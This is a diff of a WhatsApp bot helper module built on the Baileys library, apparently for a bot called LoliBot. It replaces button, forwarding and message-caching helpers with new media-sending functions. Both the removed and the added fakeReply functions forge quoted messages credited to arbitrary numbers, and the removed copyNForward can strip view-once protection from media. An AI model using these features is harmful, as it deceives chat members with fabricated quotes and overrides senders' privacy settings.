- async value(jid, participant, inviteCode, inviteExpiration, groupName = 'unknown subject', caption = 'Invitation to join my WhatsApp group', jpegThumbnail, options = {}) {
- const msg = proto.Message.fromObject({
- groupInviteMessage: proto.GroupInviteMessage.fromObject({
- inviteCode,
- inviteExpiration: parseInt(inviteExpiration) || + new Date(new Date + (3 * 86400000)),
- groupJid: jid,
- groupName: (groupName ? groupName : await conn.getName(jid)) || null,
- jpegThumbnail: Buffer.isBuffer(jpegThumbnail) ? jpegThumbnail : null,
- caption
- })
- })
- const message = generateWAMessageFromContent(participant, msg, options)
- await conn.relayMessage(participant, message.message, { messageId: message.key.id, additionalAttributes: { ...options } })
- return message
- },
- enumerable: true
- },
-
- sendButton: {
- /**
- * send Button
- * @param {String} jid
- * @param {String} text
- * @param {String} footer
- * @param {Buffer} buffer
- * @param {String[] | String[][]} buttons
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Object} options
- */
- async value(jid, text = '', footer = '', buffer, buttons, quoted, options) {
- let type
- if (Array.isArray(buffer)) (options = quoted, quoted = buttons, buttons = buffer, buffer = null)
- else if (buffer) try { (type = await conn.getFile(buffer), buffer = type.data) } catch { buffer = null }
- if (!Array.isArray(buttons[0]) && typeof buttons[0] === 'string') buttons = [buttons]
- if (!options) options = {}
- let message = {
- ...options,
- [buffer ? 'caption' : 'text']: text || '',
- footer,
- buttons: buttons.map(btn => ({
- buttonId: !nullish(btn[1]) && btn[1] || !nullish(btn[0]) && btn[0] || '',
- buttonText: {
- displayText: !nullish(btn[0]) && btn[0] || !nullish(btn[1]) && btn[1] || ''
- }
- })),
- ...(buffer ?
- options.asLocation && /image/.test(type.mime) ? {
- location: {
- ...options,
- jpegThumbnail: buffer
- }
- } : {
- [/video/.test(type.mime) ? 'video' : /image/.test(type.mime) ? 'image' : 'document']: buffer
- } : {})
- }
+ };
+ return await conn.sendMessage(chatId, { text, contextInfo }, { quoted, ...options });
+ };
+
+ // Reacción
+ m.react = async (emoji) => {
+ if (!emoji) return;
+ await conn.sendMessage(m.chat || m.key.remoteJid, {
+ react: { text: emoji, key: m.key }
+ });
+ };
+
+const defaultContextInfo = async (caption, conn) => ({
+ mentionedJid: await conn.parseMention(caption),
+ isForwarded: true,
+ forwardingScore: 1,
+ forwardedNewsletterMessageInfo: {
+ newsletterJid: "120363305025805187@newsletter",
+ newsletterName: "LoliBot ✨️"
+ }
+});
- return await conn.sendMessage(jid, message, {
- quoted,
- upload: conn.waUploadToServer,
- ...options
- })
- },
- enumerable: true
- },
- sendPoll: {
- async value(jid, name = '', optiPoll, options) {
- if (!Array.isArray(optiPoll[0]) && typeof optiPoll[0] === 'string') optiPoll = [optiPoll]
- if (!options) options = {}
- const pollMessage = {
- name: name,
- options: optiPoll.map(btn => ({
- optionName: !nullish(btn[0]) && btn[0] || ''
- })),
- selectableOptionsCount: 1
- }
- return conn.relayMessage(jid, { pollCreationMessage: pollMessage }, { ...options });
- }
- },
-
- /** Send Button Gif
- *
- * @param {*} jid
- * @param {*} text
- * @param {*} footer
- * @param {*} Gif
- * @param [*] button
- * @param {*} options
- * @returns
- */
- sendButtonGif: {
- async value(jid , text = '' , footer = '', gif, but = [], buff, options = {}) {
- let file = await conn.resize(buff, 300, 150)
- let a = [1,2]
- let b = a[Math.floor(Math.random() * a.length)]
- conn.sendMessage(jid, { video: gif, gifPlayback: true, gifAttribution: b, caption: text, footer: footer, jpegThumbnail: file, templateButtons: but, ...options })
- }
- },
-
- sendHydrated: {
- /**
- *
- * @param {String} jid
- * @param {String} text
- * @param {String} footer
- * @param {fs.PathLike} buffer
- * @param {String|string[]} url
- * @param {String|string[]} urlText
- * @param {String|string[]} call
- * @param {String|string[]} callText
- * @param {String[][]} buttons
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Object} options
- */
- async value(jid, text = '', footer = '', buffer, url, urlText, call, callText, buttons, quoted, options) {
- let type
- if (buffer) try { (type = await conn.getFile(buffer), buffer = type.data) } catch { buffer = buffer }
- if (buffer && !Buffer.isBuffer(buffer) && (typeof buffer === 'string' || Array.isArray(buffer))) (options = quoted, quoted = buttons, buttons = callText, callText = call, call = urlText, urlText = url, url = buffer, buffer = null)
- if (!options) options = {}
- let templateButtons = []
- if (url || urlText) {
- if (!Array.isArray(url)) url = [url]
- if (!Array.isArray(urlText)) urlText = [urlText]
- templateButtons.push(...(
- url.map((v, i) => [v, urlText[i]])
- .map(([url, urlText], i) => ({
- index: templateButtons.length + i + 1,
- urlButton: {
- displayText: !nullish(urlText) && urlText || !nullish(url) && url || '',
- url: !nullish(url) && url || !nullish(urlText) && urlText || ''
- }
- })) || []
- ))
- }
- if (call || callText) {
- if (!Array.isArray(call)) call = [call]
- if (!Array.isArray(callText)) callText = [callText]
- templateButtons.push(...(
- call.map((v, i) => [v, callText[i]])
- .map(([call, callText], i) => ({
- index: templateButtons.length + i + 1,
- callButton: {
- displayText: !nullish(callText) && callText || !nullish(call) && call || '',
- phoneNumber: !nullish(call) && call || !nullish(callText) && callText || ''
- }
- })) || []
- ))
- }
- if (buttons.length) {
- if (!Array.isArray(buttons[0])) buttons = [buttons]
- templateButtons.push(...(
- buttons.map(([text, id], index) => ({
- index: templateButtons.length + index + 1,
- quickReplyButton: {
- displayText: !nullish(text) && text || !nullish(id) && id || '',
- id: !nullish(id) && id || !nullish(text) && text || ''
- }
- })) || []
- ))
- }
- let message = {
- ...options,
- [buffer ? 'caption' : 'text']: text || '',
- footer,
- templateButtons,
- ...(buffer ?
- options.asLocation && /image/.test(type.mime) ? {
- location: {
- ...options,
- jpegThumbnail: buffer
- }
- } : {
- [/video/.test(type.mime) ? 'video' : /image/.test(type.mime) ? 'image' : 'document']: buffer
- } : {})
- }
- return await conn.sendMessage(jid, message, {
- quoted,
- upload: conn.waUploadToServer,
- ...options
- })
- },
- enumerable: true
- },
- sendHydrated2: {
- /**
- *
- * @param {String} jid
- * @param {String} text
- * @param {String} footer
- * @param {fs.PathLike} buffer
- * @param {String|string[]} url
- * @param {String|string[]} urlText
- * @param {String|string[]} call
- * @param {String|string[]} callText
- * @param {String[][]} buttons
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Object} options
- */
- async value(jid, text = '', footer = '', buffer, url, urlText, url2, urlText2, buttons, quoted, options) {
- let type
- if (buffer) try { (type = await conn.getFile(buffer), buffer = type.data) } catch { buffer = buffer }
- if (buffer && !Buffer.isBuffer(buffer) && (typeof buffer === 'string' || Array.isArray(buffer))) (options = quoted, quoted = buttons, buttons = callText, callText = call, call = urlText, urlText = url, url = buffer, buffer = null)
- if (!options) options = {}
- let templateButtons = []
- if (url || urlText) {
- if (!Array.isArray(url)) url = [url]
- if (!Array.isArray(urlText)) urlText = [urlText]
- templateButtons.push(...(
- url.map((v, i) => [v, urlText[i]])
- .map(([url, urlText], i) => ({
- index: templateButtons.length + i + 1,
- urlButton: {
- displayText: !nullish(urlText) && urlText || !nullish(url) && url || '',
- url: !nullish(url) && url || !nullish(urlText) && urlText || ''
- }
- })) || []
- ))
- }
- if (url2 || urlText2) {
- if (!Array.isArray(url2)) url2 = [url2]
- if (!Array.isArray(urlText2)) urlText2 = [urlText2]
- templateButtons.push(...(
- url2.map((v, i) => [v, urlText2[i]])
- .map(([url2, urlText2], i) => ({
- index: templateButtons.length + i + 1,
- urlButton: {
- displayText: !nullish(urlText2) && urlText2 || !nullish(url2) && url2 || '',
- url: !nullish(url2) && url2 || !nullish(urlText2) && urlText2 || ''
- }
- })) || []
- ))
- }
- if (buttons.length) {
- if (!Array.isArray(buttons[0])) buttons = [buttons]
- templateButtons.push(...(
- buttons.map(([text, id], index) => ({
- index: templateButtons.length + index + 1,
- quickReplyButton: {
- displayText: !nullish(text) && text || !nullish(id) && id || '',
- id: !nullish(id) && id || !nullish(text) && text || ''
- }
- })) || []
- ))
- }
- let message = {
- ...options,
- [buffer ? 'caption' : 'text']: text || '',
- footer,
- templateButtons,
- ...(buffer ?
- options.asLocation && /image/.test(type.mime) ? {
- location: {
- ...options,
- jpegThumbnail: buffer
- }
- } : {
- [/video/.test(type.mime) ? 'video' : /image/.test(type.mime) ? 'image' : 'document']: buffer
- } : {})
- }
- return await conn.sendMessage(jid, message, {
- quoted,
- upload: conn.waUploadToServer,
- ...options
- })
- },
- enumerable: true
- },
- cMod: {
- /**
- * cMod
- * @param {String} jid
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} message
- * @param {String} text
- * @param {String} sender
- * @param {*} options
- * @returns
- */
- value(jid, message, text = '', sender = conn.user.jid, options = {}) {
- if (options.mentions && !Array.isArray(options.mentions)) options.mentions = [options.mentions]
- let copy = message.toJSON()
- delete copy.message.messageContextInfo
- delete copy.message.senderKeyDistributionMessage
- let mtype = Object.keys(copy.message)[0]
- let msg = copy.message
- let content = msg[mtype]
- if (typeof content === 'string') msg[mtype] = text || content
- else if (content.caption) content.caption = text || content.caption
- else if (content.text) content.text = text || content.text
- if (typeof content !== 'string') {
- msg[mtype] = { ...content, ...options }
- msg[mtype].contextInfo = {
- ...(content.contextInfo || {}),
- mentionedJid: options.mentions || content.contextInfo?.mentionedJid || []
- }
- }
- if (copy.participant) sender = copy.participant = sender || copy.participant
- else if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant
- if (copy.key.remoteJid.includes('@s.whatsapp.net')) sender = sender || copy.key.remoteJid
- else if (copy.key.remoteJid.includes('@broadcast')) sender = sender || copy.key.remoteJid
- copy.key.remoteJid = jid
- copy.key.fromMe = areJidsSameUser(sender, conn.user.id) || false
- return proto.WebMessageInfo.fromObject(copy)
- },
- enumerable: true
- },
- copyNForward: {
- /**
- * Exact Copy Forward
- * @param {String} jid
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} message
- * @param {Boolean|Number} forwardingScore
- * @param {Object} options
- */
- async value(jid, message, forwardingScore = true, options = {}) {
- let vtype
- if (options.readViewOnce && message.message.viewOnceMessage?.message) {
- vtype = Object.keys(message.message.viewOnceMessage.message)[0]
- delete message.message.viewOnceMessage.message[vtype].viewOnce
- message.message = proto.Message.fromObject(
- JSON.parse(JSON.stringify(message.message.viewOnceMessage.message))
- )
- message.message[vtype].contextInfo = message.message.viewOnceMessage.contextInfo
- }
- let mtype = Object.keys(message.message)[0]
- let m = generateForwardMessageContent(message, !!forwardingScore)
- let ctype = Object.keys(m)[0]
- if (forwardingScore && typeof forwardingScore === 'number' && forwardingScore > 1) m[ctype].contextInfo.forwardingScore += forwardingScore
- m[ctype].contextInfo = {
- ...(message.message[mtype].contextInfo || {}),
- ...(m[ctype].contextInfo || {})
- }
- m = generateWAMessageFromContent(jid, m, {
- ...options,
- userJid: conn.user.jid
- })
- await conn.relayMessage(jid, m.message, { messageId: m.key.id, additionalAttributes: { ...options } })
- return m
- },
- enumerable: true
- },
-
- fakeReply: {
- /**
- * Fake Replies
- * @param {String} jid
- * @param {String|Object} text
- * @param {String} fakeJid
- * @param {String} fakeText
- * @param {String} fakeGroupJid
- * @param {String} options
- */
- value(jid, text = '', fakeJid = this.user.jid, fakeText = '', fakeGroupJid, options) {
- return conn.reply(jid, text, { key: { fromMe: areJidsSameUser(fakeJid, conn.user.id), participant: fakeJid, ...(fakeGroupJid ? { remoteJid: fakeGroupJid } : {}) }, message: { conversation: fakeText }, ...options })
- }
- },
- downloadM: {
- /**
- * Download media message
- * @param {Object} m
- * @param {String} type
- * @param {fs.PathLike | fs.promises.FileHandle} saveToFile
- * @returns {Promise}
- */
- async value(m, type, saveToFile) {
- let filename
- if (!m || !(m.url || m.directPath)) return Buffer.alloc(0)
- const stream = await downloadContentFromMessage(m, type)
- let buffer = Buffer.from([])
- for await (const chunk of stream) {
- buffer = Buffer.concat([buffer, chunk])
- }
- if (saveToFile) ({ filename } = await conn.getFile(buffer, true))
- return saveToFile && fs.existsSync(filename) ? filename : buffer
- },
- enumerable: true
- },
- parseMention: {
- /**
- * Parses string into mentionedJid(s)
- * @param {String} text
- * @returns {Array}
- */
- value(text = '') {
- return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
- },
- enumerable: true
- },
- getName: {
- /**
- * Get name from jid
- * @param {String} jid
- * @param {Boolean} withoutContact
- */
- value(jid = '', withoutContact = false) {
- jid = conn.decodeJid(jid)
- withoutContact = conn.withoutContact || withoutContact
- let v
- if (jid.endsWith('@g.us')) return new Promise(async (resolve) => {
- v = conn.chats[jid] || {}
- if (!(v.name || v.subject)) v = await conn.groupMetadata(jid) || {}
- resolve(v.name || v.subject || PhoneNumber('+' + jid.replace('@s.whatsapp.net', '')).getNumber('international'))
- })
- else v = jid === '0@s.whatsapp.net' ? {
- jid,
- vname: 'WhatsApp'
- } : areJidsSameUser(jid, conn.user.id) ?
- conn.user :
- (conn.chats[jid] || {})
- return (withoutContact ? '' : v.name) || v.subject || v.vname || v.notify || v.verifiedName || PhoneNumber('+' + jid.replace('@s.whatsapp.net', '')).getNumber('international')
- },
- enumerable: true
- },
- loadMessage: {
- /**
- *
- * @param {String} messageID
- * @returns {import('@adiwajshing/baileys').proto.WebMessageInfo}
- */
- value(messageID) {
- return Object.entries(conn.chats)
- .filter(([_, { messages }]) => typeof messages === 'object')
- .find(([_, { messages }]) => Object.entries(messages)
- .find(([k, v]) => (k === messageID || v.key?.id === messageID)))
- ?.[1].messages?.[messageID]
- },
- enumerable: true
- },
- sendGroupV4Invite: {
- /**
- * sendGroupV4Invite
- * @param {String} jid
- * @param {*} participant
- * @param {String} inviteCode
- * @param {Number} inviteExpiration
- * @param {String} groupName
- * @param {String} caption
- * @param {Buffer} jpegThumbnail
- * @param {*} options
- */
- async value(jid, participant, inviteCode, inviteExpiration, groupName = 'unknown subject', caption = 'Invitation to join my WhatsApp group', jpegThumbnail, options = {}) {
- const msg = proto.Message.fromObject({
- groupInviteMessage: proto.GroupInviteMessage.fromObject({
- inviteCode,
- inviteExpiration: parseInt(inviteExpiration) || + new Date(new Date + (3 * 86400000)),
- groupJid: jid,
- groupName: (groupName ? groupName : await conn.getName(jid)) || null,
- jpegThumbnail: Buffer.isBuffer(jpegThumbnail) ? jpegThumbnail : null,
- caption
- })
- })
- const message = generateWAMessageFromContent(participant, msg, options)
- await conn.relayMessage(participant, message.message, { messageId: message.key.id, additionalAttributes: { ...options } })
- return message
- },
- enumerable: true
- },
- processMessageStubType: {
- /**
- * to process MessageStubType
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} m
- */
- async value(m) {
- if (!m.messageStubType) return
- const chat = conn.decodeJid(m.key.remoteJid || m.message?.senderKeyDistributionMessage?.groupId || '')
- if (!chat || chat === 'status@broadcast') return
- const emitGroupUpdate = (update) => {
- ev.emit('groups.update', [{ id: chat, ...update }])
- }
- switch (m.messageStubType) {
- case WAMessageStubType.REVOKE:
- case WAMessageStubType.GROUP_CHANGE_INVITE_LINK:
- emitGroupUpdate({ revoke: m.messageStubParameters[0] })
- break
- case WAMessageStubType.GROUP_CHANGE_ICON:
- emitGroupUpdate({ icon: m.messageStubParameters[0] })
- break
- default: {
- //console.log({
- // messageStubType: m.messageStubType,
- // messageStubParameters: m.messageStubParameters,
- // type: WAMessageStubType[m.messageStubType]
- //})
- break
- }
- }
- const isGroup = chat.endsWith('@g.us')
- if (!isGroup) return
- let chats = conn.chats[chat]
- if (!chats) chats = conn.chats[chat] = { id: chat }
- chats.isChats = true
- const metadata = await conn.groupMetadata(chat).catch(_ => null)
- if (!metadata) return
- chats.subject = metadata.subject
- chats.metadata = metadata
- }
- },
- insertAllGroup: {
- async value() {
- const groups = await conn.groupFetchAllParticipating().catch(_ => null) || {}
- for (const group in groups) conn.chats[group] = { ...(conn.chats[group] || {}), id: group, subject: groups[group].subject, isChats: true, metadata: groups[group] }
- return conn.chats
- },
- },
- pushMessage: {
- /**
- * pushMessage
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo[]} m
- */
- async value(m) {
- if (!m) return
- if (!Array.isArray(m)) m = [m]
- for (const message of m) {
- try {
- // if (!(message instanceof proto.WebMessageInfo)) continue // https://github.com/adiwajshing/Baileys/pull/696/commits/6a2cb5a4139d8eb0a75c4c4ea7ed52adc0aec20f
- if (!message) continue
- if (message.messageStubType && message.messageStubType != WAMessageStubType.CIPHERTEXT) conn.processMessageStubType(message).catch(console.error)
- const _mtype = Object.keys(message.message || {})
- const mtype = (!['senderKeyDistributionMessage', 'messageContextInfo'].includes(_mtype[0]) && _mtype[0]) ||
- (_mtype.length >= 3 && _mtype[1] !== 'messageContextInfo' && _mtype[1]) ||
- _mtype[_mtype.length - 1]
- const chat = conn.decodeJid(message.key.remoteJid || message.message?.senderKeyDistributionMessage?.groupId || '')
- if (message.message?.[mtype]?.contextInfo?.quotedMessage) {
- /**
- * @type {import('@adiwajshing/baileys').proto.IContextInfo}
- */
- let context = message.message[mtype].contextInfo
- let participant = conn.decodeJid(context.participant)
- const remoteJid = conn.decodeJid(context.remoteJid || participant)
- /**
- * @type {import('@adiwajshing/baileys').proto.IMessage}
- *
- */
- let quoted = message.message[mtype].contextInfo.quotedMessage
- if ((remoteJid && remoteJid !== 'status@broadcast') && quoted) {
- let qMtype = Object.keys(quoted)[0]
- if (qMtype == 'conversation') {
- quoted.extendedTextMessage = { text: quoted[qMtype] }
- delete quoted.conversation
- qMtype = 'extendedTextMessage'
- }
- if (!quoted[qMtype].contextInfo) quoted[qMtype].contextInfo = {}
- quoted[qMtype].contextInfo.mentionedJid = context.mentionedJid || quoted[qMtype].contextInfo.mentionedJid || []
- const isGroup = remoteJid.endsWith('g.us')
- if (isGroup && !participant) participant = remoteJid
- const qM = {
- key: {
- remoteJid,
- fromMe: areJidsSameUser(conn.user.jid, remoteJid),
- id: context.stanzaId,
- participant,
- },
- message: JSON.parse(JSON.stringify(quoted)),
- ...(isGroup ? { participant } : {})
- }
- let qChats = conn.chats[participant]
- if (!qChats) qChats = conn.chats[participant] = { id: participant, isChats: !isGroup }
- if (!qChats.messages) qChats.messages = {}
- if (!qChats.messages[context.stanzaId] && !qM.key.fromMe) qChats.messages[context.stanzaId] = qM
- let qChatsMessages
- if ((qChatsMessages = Object.entries(qChats.messages)).length > 40) qChats.messages = Object.fromEntries(qChatsMessages.slice(30, qChatsMessages.length)) // maybe avoid memory leak
- }
- }
- if (!chat || chat === 'status@broadcast') continue
- const isGroup = chat.endsWith('@g.us')
- let chats = conn.chats[chat]
- if (!chats) {
- if (isGroup) await conn.insertAllGroup().catch(console.error)
- chats = conn.chats[chat] = { id: chat, isChats: true, ...(conn.chats[chat] || {}) }
- }
- let metadata, sender
- if (isGroup) {
- if (!chats.subject || !chats.metadata) {
- metadata = await conn.groupMetadata(chat).catch(_ => ({})) || {}
- if (!chats.subject) chats.subject = metadata.subject || ''
- if (!chats.metadata) chats.metadata = metadata
- }
- sender = conn.decodeJid(message.key?.fromMe && conn.user.id || message.participant || message.key?.participant || chat || '')
- if (sender !== chat) {
- let chats = conn.chats[sender]
- if (!chats) chats = conn.chats[sender] = { id: sender }
- if (!chats.name) chats.name = message.pushName || chats.name || ''
- }
- } else if (!chats.name) chats.name = message.pushName || chats.name || ''
- if (['senderKeyDistributionMessage', 'messageContextInfo'].includes(mtype)) continue
- chats.isChats = true
- if (!chats.messages) chats.messages = {}
- const fromMe = message.key.fromMe || areJidsSameUser(sender || chat, conn.user.id)
- if (!['protocolMessage'].includes(mtype) && !fromMe && message.messageStubType != WAMessageStubType.CIPHERTEXT && message.message) {
- delete message.message.messageContextInfo
- delete message.message.senderKeyDistributionMessage
- chats.messages[message.key.id] = JSON.parse(JSON.stringify(message, null, 2))
- let chatsMessages
- if ((chatsMessages = Object.entries(chats.messages)).length > 40) chats.messages = Object.fromEntries(chatsMessages.slice(30, chatsMessages.length))
- }
- } catch (e) {
- console.error(e)
- }
- }
- }
- },
- serializeM: {
- /**
- * Serialize Message, so it easier to manipulate
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} m
- */
- value(m) {
- return smsg(conn, m)
- }
- },
- ...(typeof conn.chatRead !== 'function' ? {
- chatRead: {
- /**
- * Read message
- * @param {String} jid
- * @param {String|undefined|null} participant
- * @param {String} messageID
- */
- value(jid, participant = conn.user.jid, messageID) {
- return conn.sendReadReceipt(jid, participant, [messageID])
- },
- enumerable: true
- }
- } : {}),
- ...(typeof conn.setStatus !== 'function' ? {
- setStatus: {
- /**
- * setStatus bot
- * @param {String} status
- */
- value(status) {
- return conn.query({
- tag: 'iq',
- attrs: {
- to: S_WHATSAPP_NET,
- type: 'set',
- xmlns: 'status',
- },
- content: [
- {
- tag: 'status',
- attrs: {},
- content: Buffer.from(status, 'utf-8')
- }
- ]
- })
- },
- enumerable: true
- }
- } : {})
- })
- if (sock.user?.id) sock.user.jid = sock.decodeJid(sock.user.id)
- store.bind(sock)
- return sock
+function formatExternalAdReply(obj = {}) {
+ if (!obj.thumbnailUrl && obj.thumbnail) {
+ obj.thumbnailUrl = obj.thumbnail;
+ delete obj.thumbnail;
+ }
+ return {
+ ...obj,
+ thumbnail: typeof obj.thumbnailUrl === "string" ? { url: obj.thumbnailUrl } : obj.thumbnailUrl,
+ };
}
-
-/**
- * Serialize Message
- * @param {ReturnType} conn
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} m
- * @param {Boolean} hasParent
- */
-export function smsg(conn, m, hasParent) {
- if (!m) return m
- /**
- * @type {import('@adiwajshing/baileys').proto.WebMessageInfo}
- */
- let M = proto.WebMessageInfo
- m = M.fromObject(m)
- m.conn = conn
- let protocolMessageKey
- if (m.message) {
- if (m.mtype == 'protocolMessage' && m.msg.key) {
- protocolMessageKey = m.msg.key
- if (protocolMessageKey == 'status@broadcast') protocolMessageKey.remoteJid = m.chat
- if (!protocolMessageKey.participant || protocolMessageKey.participant == 'status_me') protocolMessageKey.participant = m.sender
- protocolMessageKey.fromMe = conn.decodeJid(protocolMessageKey.participant) === conn.decodeJid(conn.user.id)
- if (!protocolMessageKey.fromMe && protocolMessageKey.remoteJid === conn.decodeJid(conn.user.id)) protocolMessageKey.remoteJid = m.sender
- }
- if (m.quoted) if (!m.quoted.mediaMessage) delete m.quoted.download
- }
- if (!m.mediaMessage) delete m.download
-
+conn.sendFile = async function (jid, path, filename = '', caption = '', quoted = null, ptt = false, options = {}) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo(caption, this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ const getCleanExt = (url) => {
+ const match = url.match(/\.([a-zA-Z0-9]+)(\?|$)/);
+ return match ? match[1].toLowerCase() : 'bin';
+ };
+
+ if (Buffer.isBuffer(path)) {
+ const fileInfo = await fileTypeFromBuffer(path) || {};
+ const ext = (filename.includes('.') ? filename.split('.').pop() : getCleanExt(path)).toLowerCase();
+ const mime = fileInfo.mime || 'application/octet-stream';
+ const fileName = filename || `file.${ext}`;
+
+ const messageType = (() => {
+ if (ext === 'webp') return 'sticker';
+ if (['mp4', 'mov', 'mkv'].includes(ext)) return 'video';
+ if (['mp3', 'm4a', 'ogg', 'wav'].includes(ext)) return 'audio';
+ if (['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'].includes(ext)) return 'image';
+ if (['zip', 'rar', '7z', 'tar', 'gz'].includes(ext)) return 'document';
+ if (['pdf', 'doc', 'docx', 'ppt', 'pptx', 'xls', 'xlsx', 'txt', 'csv', 'json', 'apk'].includes(ext)) return 'document';
+ return 'document';
+ })();
+
+ return await this.sendMessage(jid, {
+ ...(messageType === 'sticker' ? { sticker: path } : { [messageType]: path }),
+ mimetype: mime,
+ fileName,
+ caption,
+ contextInfo,
+ ...options,
+ }, { quoted });
+
+ } else if (typeof path === 'string' && /https?:\/\//.test(path)) {
try {
- if (protocolMessageKey && m.mtype == 'protocolMessage') conn.ev.emit('message.delete', protocolMessageKey)
+ const res = await fetch(path);
+ if (!res.ok) throw new Error(`Error HTTP ${res.status}: ${res.statusText}`);
+ const buffer = await res.buffer();
+
+ const fileInfo = await fileTypeFromBuffer(buffer) || {};
+ const mime = fileInfo.mime || 'application/octet-stream';
+ const ext = (typeof filename === 'string' && filename.includes('.') ? filename.split('.').pop() : getCleanExt(path)).toLowerCase();
+ const fileName = filename || `file.${ext}`;
+
+ const messageType = (() => {
+ if (ext === 'webp') return 'sticker';
+ if (['mp4', 'mov', 'mkv'].includes(ext)) return 'video';
+ if (['mp3', 'm4a', 'ogg', 'wav'].includes(ext)) return 'audio';
+ if (['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'].includes(ext)) return 'image';
+ if (['zip', 'rar', '7z', 'tar', 'gz'].includes(ext)) return 'document';
+ if (['pdf', 'doc', 'docx', 'ppt', 'pptx', 'xls', 'xlsx', 'txt', 'csv', 'json', 'apk'].includes(ext)) return 'document';
+ return 'document';
+ })();
+
+ return await this.sendMessage(jid, {
+ ...(messageType === 'sticker' ? { sticker: buffer } : { [messageType]: buffer }),
+ mimetype: mime,
+ fileName,
+ caption,
+ contextInfo,
+ ...options,
+ }, { quoted });
} catch (e) {
- console.error(e)
+ console.error(e.message);
+ return null;
}
- return m
-}
+ }
+};
+
+conn.sendImage = async function (jid, path, caption = '', quoted = null, options = {}) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo(caption, this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ return this.sendMessage(jid, {
+ image: { url: path },
+ caption,
+ contextInfo,
+ ...options
+ }, { quoted });
+};
+
+conn.sendVideo = async function (jid, path, caption = '', quoted = null, options = {}) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo(caption, this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ return this.sendMessage(jid, {
+ video: { url: path },
+ caption,
+ contextInfo,
+ ...options
+ }, { quoted });
+};
+
+conn.fakeReply = async function (
+ jid,
+ caption = '',
+ fakeNumber = '0@s.whatsapp.net',
+ fakeCaption = '',
+ quoted = null,
+ options = {}
+) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo(caption, this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ return this.sendMessage(jid, {
+ text: caption,
+ contextInfo,
+ ...options
+ }, {
+ quoted: {
+ key: {
+ fromMe: false,
+ participant: fakeNumber,
+ ...(jid.endsWith('@g.us') ? { remoteJid: jid } : { remoteJid: null })
+ },
+ message: {
+ conversation: fakeCaption
+ },
+ messageTimestamp: parseInt(Date.now() / 1000)
+ }
+ });
+};
+
+conn.sendAudio = async function (jid, path, quoted = null, options = {}) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo('', this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ return this.sendMessage(jid, {
+ audio: { url: path },
+ mimetype: 'audio/mpeg',
+ contextInfo,
+ ...options
+ }, { quoted });
+};
+
+conn.sendAlbumMessage = async function (jid, medias = [], caption = '', quoted = null) {
+ if (!Array.isArray(medias) || medias.length === 0) {
+ throw new Error("No se proporcionaron medios válidos.");
+ }
+
+ const album = generateWAMessageFromContent(jid, {
+ albumMessage: {
+ expectedImageCount: medias.filter(media => media.type === "image").length,
+ expectedVideoCount: medias.filter(media => media.type === "video").length,
+ ...(quoted ? {
+ contextInfo: {
+ remoteJid: quoted.key.remoteJid,
+ fromMe: quoted.key.fromMe,
+ stanzaId: quoted.key.id,
+ participant: quoted.key.participant || quoted.key.remoteJid,
+ quotedMessage: quoted.message
+ }
+ } : {})
+ }
+ }, { quoted });
-// https://github.com/Nurutomo/wabot-aq/issues/490
-export function serialize() {
- const MediaType = ['imageMessage', 'videoMessage', 'audioMessage', 'stickerMessage', 'documentMessage']
- return Object.defineProperties(proto.WebMessageInfo.prototype, {
- conn: {
- value: undefined,
- enumerable: false,
- writable: true
- },
- id: {
- get() {
- return this.key?.id
- }
- },
- isBaileys: {
- get() {
- return this.id?.length === 16 || this.id?.startsWith('3EB0') && this.id?.length === 12 || false
- }
- },
- chat: {
- get() {
- const senderKeyDistributionMessage = this.message?.senderKeyDistributionMessage?.groupId
- return (
- this.key?.remoteJid ||
- (senderKeyDistributionMessage &&
- senderKeyDistributionMessage !== 'status@broadcast'
- ) || ''
- ).decodeJid()
- }
- },
- isGroup: {
- get() {
- return this.chat.endsWith('@g.us')
- },
- enumerable: true
- },
- sender: {
- get() {
- return this.conn?.decodeJid(this.key?.fromMe && this.conn?.user.id || this.participant || this.key.participant || this.chat || '')
- },
- enumerable: true
- },
- fromMe: {
- get() {
- return this.key?.fromMe || areJidsSameUser(this.conn?.user.id, this.sender) || false
- }
- },
- mtype: {
- get() {
- if (!this.message) return ''
- const type = Object.keys(this.message)
- return (!['senderKeyDistributionMessage', 'messageContextInfo'].includes(type[0]) && type[0]) || // Sometimes message in the front
- (type.length >= 3 && type[1] !== 'messageContextInfo' && type[1]) || // Sometimes message in midle if mtype length is greater than or equal to 3
- type[type.length - 1] // common case
- },
- enumerable: true
- },
- msg: {
- get() {
- if (!this.message) return null
- return this.message[this.mtype]
- }
- },
- mediaMessage: {
- get() {
- if (!this.message) return null
- const Message = ((this.msg?.url || this.msg?.directPath) ? { ...this.message } : extractMessageContent(this.message)) || null
- if (!Message) return null
- const mtype = Object.keys(Message)[0]
- return MediaType.includes(mtype) ? Message : null
- },
- enumerable: true
- },
- mediaType: {
- get() {
- let message
- if (!(message = this.mediaMessage)) return null
- return Object.keys(message)[0]
- },
